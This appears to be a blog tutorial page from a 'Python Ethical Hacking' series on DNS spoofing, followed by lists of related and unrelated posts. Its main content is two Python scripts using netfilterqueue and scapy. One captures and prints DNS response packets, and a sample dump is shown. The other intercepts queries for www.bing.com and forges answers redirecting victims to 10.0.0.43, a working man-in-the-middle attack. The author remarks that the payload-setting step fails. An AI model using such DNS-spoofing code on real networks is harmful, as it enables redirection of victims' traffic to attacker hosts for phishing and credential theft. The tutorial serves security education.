What is DNS Spoofing

Sniff the DNSRR packet and show on the terminal.

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.dns import DNSRR,IP def process_packet(packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
print(scapy_packet.show())
packet.accept() queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
queue.run()
except KeyboardInterrupt:
print('')

Analyze the following DNSRR records.

###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 218
id = 0
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0x25e8
src = 10.0.0.1
dst = 10.0.0.43
\options \
###[ UDP ]###
sport = domain
dport = 42647
len = 198
chksum = 0x9388
###[ DNS ]###
id = 40073
qr = 1
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 1
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 3
nscount = 1
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'www.bing.com.'
| qtype = AAAA
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'www.bing.com.'
| type = CNAME
| rclass = IN
| ttl = 2063
| rdlen = None
| rdata = 'a-0001.a-afdentry.net.trafficmanager.net.'
|###[ DNS Resource Record ]###
| rrname = 'a-0001.a-afdentry.net.trafficmanager.net.'
| type = CNAME
| rclass = IN
| ttl = 414
| rdlen = None
| rdata = 'cn.cn-0001.cn-msedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'cn.cn-0001.cn-msedge.net.'
| type = CNAME
| rclass = IN
| ttl = 38
| rdlen = None
| rdata = 'cn-0001.cn-msedge.net.'
\ns \
|###[ DNS SOA Resource Record ]###
| rrname = 'cn-msedge.net.'
| type = SOA
| rclass = IN
| ttl = 38
| rdlen = None
| mname = 'ns1.cn-msedge.net.'
| rname = 'msnhst.microsoft.com.'
| serial = 2017032701
| refresh = 1800
| retry = 900
| expire = 2419200
| minimum = 240
ar = None

Redirecting DNS Responses

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.dns import * def process_packet(packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSQR):
qname = scapy_packet[DNSQR].qname
if "www.bing.com" in qname.decode(errors='ignore'):
print("[+] Spoofing target")
answer = DNSRR(rrname=qname, rdata="10.0.0.43")
scapy_packet[DNS].an = answer
scapy_packet[DNS].ancount = 1 del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].chksum
del scapy_packet[UDP].len packet.set_payload(str(scapy_packet).encode()) packet.accept() queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
queue.run()
except KeyboardInterrupt:
print('')

The set_payload() method does not work....

https://github.com/kti/python-netfilterqueue/issues/30

Python Ethical Hacking - DNS Spoofing的更多相关文章

  1. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  2. Python Ethical Hacking - Bypass HTTPS(1)

    HTTPS: Problem: Data in HTTP is sent as plain text. A MITM can read and edit requests and responses. ...

  3. Python Ethical Hacking - WEB PENETRATION TESTING(1)

    WHAT IS A WEBSITE Computer with OS and some servers. Apache, MySQL ...etc. Cotains web application. ...

  4. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  5. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

  6. Python Ethical Hacking - NETWORK_SCANNER(1)

    NETWORK_SCANNER Discover all devices on the network. Display their IP address. Display their MAC add ...

  7. Python Ethical Hacking - MAC Address & How to Change(3)

    SIMPLE ALGORITHM Goal  -> Check if MAC address was changed. Steps: 1. Execute and read ifconfig. ...

  8. Python Ethical Hacking - MAC Address & How to Change(2)

    FUNCTIONS Set of instructions to carry out a task. Can take input, and return a result. Make the cod ...

  9. Python Ethical Hacking - MAC Address & How to Change(1)

    MAC ADDRESS Media Access Control Permanent Physical Unique Assigned by manufacturer WHY CHANGE THE M ...

随机推荐

  1. 常见CSS选择器的权重和优先级

    一.常见CSS选择器 [元素选择器] 1.通配选择器:*(匹配所有元素) a.效率不高,页面上的标签越多,效率越低,所以页面上最好不要出现这个选择器 2.标签选择器:li(匹配标签为li的元素) a. ...

  2. C常见错误小记(未完)

    1.指针与NULL 下面这段代码会报错: { int *a = NULL; *a = ; printf("%d",*a); } 指针初始化为NULL,还是没有分配内存,所以会报错. ...

  3. WeChair项目Alpha冲刺(9/10)

    团队项目进行情况 1.昨日进展    Alpha冲刺第九天 昨日进展: 前端:安排页面美化,设计实名认证 后端:更新dao层代码 数据库:修改数据表属性,与后端部署数据库交互 2.今日安排 前端:继续 ...

  4. ZooKeeper开机启动的俩种方式

    两种方式可以实现开机自启动 第一种:直接修改/etc/rc.d/rc.local文件 在/etc/rc.d/rc.local文件中需要输入两行, 其中export JAVA_HOME=/usr/jav ...

  5. LeetCode 79,这道走迷宫问题为什么不能用宽搜呢?

    本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是LeetCode专题第48篇文章,我们一起来看看LeetCode当中的第79题,搜索单词(Word Search). 这一题官方给的难 ...

  6. MongoDB快速入门教程 (4.1)

    4.Mongoose使用 4.1.nodejs操作mongodb 文档地址:http://mongodb.github.io/node-mongodb-native/3.2/tutorials/cru ...

  7. C# 特性篇 Attributes

    特性[Required] (必修的) /// <summary> /// 操作人EmpID /// </summary> [Required] public string Op ...

  8. Java基础Day07(Map Calender Date 包装类 System类 异常)

    1.Map Map是集合容器,存放的元素有键与值两部分组成,通过键可以找到所对应的值,键和值必须是引用数据类型,键是唯一的,不能重复,没有顺序. HashMap是Map的实现类. Map的添加,删除, ...

  9. 宿主机ping不通虚拟机,虚拟机能ping通宿主机问题

    打开虚拟机管理器,点开设置=>网络,网络选的是NAT,所以宿主机不能直接ping能虚拟机!!! 问题描述 查看虚拟机ip,  #ifconfig如下图: 宿主机ping虚拟机ip,无法通信,如下 ...

  10. lambda表达式与函数式(FunctionalInterface)接口

    一.lambda表达式 lambda表达式 Lambda 是一个匿名函数,我们可以把 Lambda 表达式理解为是一段可以传递的代码(将代码像数据一样进行传递).使用它可以写出更简洁.更 灵活的代码. ...